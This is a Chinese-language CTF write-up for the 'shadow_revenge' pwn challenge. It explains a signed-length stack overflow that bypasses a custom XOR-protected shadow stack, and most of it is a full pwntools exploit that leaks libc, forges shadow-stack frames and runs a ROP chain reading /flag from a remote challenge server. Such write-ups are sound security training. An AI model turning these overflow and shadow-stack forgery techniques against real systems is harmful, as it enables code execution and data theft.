shadow_revenge
binary,提取码: uwpi
程序逻辑
- 程序实现了一个"影子栈",当函数被调用时,返回地址,ebp以及esp都会存到"影子栈"上,返回时从影子栈上取ebp,esp和返回地址.在这种情况下,直接利用溢出覆盖是无法控制ebp,esp以及返回地址的.
- 另外,影子栈上的的内容仅仅在pop和push时才会可读可写,这使我们无法修改影子栈.
- "影子栈"上存储的数据为gs:0x18处与原始数据的异或.
- 程序的主要功能主要在于一个循环,在循环中,我们可以输入自己的名字和消息,然后程序将他们回显出来.
存在的漏洞
在接收用户输入的消息时,程序会先让用户输入消息长度,如果长度大于20则设置为20,然后根据长度将消息读入缓冲区s中. 看起来很安全,但是由于此处的长度是一个有符号整数,所以我们输入-1可以通过验证并可以在读取的时候导致栈溢出.
利用
注意到s上方存有name的指针,name的长度以及循环的最大次数.我们通过溢出可以修改溢出次数来绕过循环次数的限制.同时也可以通过修改name指针来读写任意内存.因此利用步骤如下:
- 读取got表的内容,泄露libc的基址.
- 读取gs:0x18处的内容,用于伪造"影子栈".需要注意的是,gs:0x18对应的地址并不能计算出来,只能通过在内存中搜索得到.
- 在SHADOW_BASE+0x1000 后面找个位置写入伪造的"影子栈"和ROP链(因为程序限制了SHADOW_TOP的范围);ROP链主要是打开"/flag",读取并显示其中的内容.
- 修改SHADOW_TOP使其指向伪造的"影子栈",当函数返回时,就会执行我们的ROP链.
脚本:
from pwn import *
# conn = ssh("root",'localhost',2222,'waterdrop').process(["ld.so","./pwn"],env={"LD_LIBRARY_PATH":"."},)
conn = remote("52.130.87.223",10001)
e = ELF("./pwn")
libc = ELF("./libc.so.6_r")
context.log_level = 'debug'
def one_loop(msg, name=None, choose=True, no_ret=False):
if choose:
conn.sendlineafter('(y/n)', 'y' if name is not None else 'n')
if name is not None:
conn.sendafter('name : ', name)
conn.sendafter('length :', '-1\n')
conn.sendafter('message :', msg)
if not no_ret:
conn.recvuntil(') <')
name = conn.recvuntil('> ', drop=True)
return name
libc.address = u32(
one_loop(b'A' * 0x34 + p32(e.got['puts']) + p32(0x30) + p32(0xffff), 'liwl23', choose=False)[:4].ljust(4,
b'\x00')) - \
libc.symbols['puts']
print('libc=>{}'.format(hex(libc.address)))
payload_addr = e.bss(0x500)
stack_top = u32(one_loop(b'A' * 0x34 + p32(0x804B034) + p32(0xffff) + p32(0xffff))[:4].ljust(4, b'\x00'))
print("stack_top=>{}".format(hex(stack_top)))
print("stack_base=>{}".format(hex(stack_top//16**3*16**3)))
print("cookie addr=>{}".format(hex(libc.address-0x1000+0x718)))
cookie = u32(one_loop(b'A' * 0x34 + p32(libc.address-0x1000+0x718) + p32(0xffff) + p32(0xffff))[:4].ljust(4, b'\x00'))
print("cookie=>{}".format(hex(cookie)))
print("cookie=>{}".format(hex(cookie^0x8048CD0)))
one_loop(b'A' * 0x34 + p32(stack_top//16**3*16**3+0x1000+0x7a0) + p32(0xffff) + p32(0xffff))
target_addr = stack_top//16**3*16**3+0x1000+0x7a0
print('targte =>{}'.format(hex(target_addr)))
# gdb.attach(conn,'b * 0x8048AFC')
payload = p64(libc.symbols['open']^cookie)+p64(0)+p64(e.bss(0x500)^cookie)+p64(0)\
+p64((target_addr+3*16+4*0x50)^cookie)+p64(0)+b'A'*(+4*0x50)+p32(0x08048ddc)\
+p32(target_addr+3*16+4*0x50+22*4)+p32(0)+p32(0)+p32(libc.symbols['open'])+p32(0x08048ddc)\
+p32(target_addr+3*16+4*0x50+20*4)+p32(2)+p32(0)+p32(libc.symbols['read'])+p32(0x8048ddc)\
+p32(3)+p32(0x0804b000+0x200)+p32(0x30)+p32(libc.symbols['write'])+p32(0x8048ddc)\
+p32(1)+p32(0x0804b000+0x200)+p32(0x30)+p32(0)+b'/flag\x00\x00\x00'+b'/flag\x00'
one_loop(b'A'*0x34+p32(0x804B034)+p32(0xffff)+p32(0xffff),payload,choose=False)
# one_loop(b'A'*0x34+p32(0x804B034)+p32(0xffff)+p32(0xffff),p32(target_addr+16*3))
conn.sendlineafter('(y/n)', 'y')
conn.sendafter('name : ', p32(target_addr+16*3))
print(conn.recv(0x30))
conn.interactive()
# change s
# one_loop('A',payload)
if __name__ == '__main__':
pass
网友评论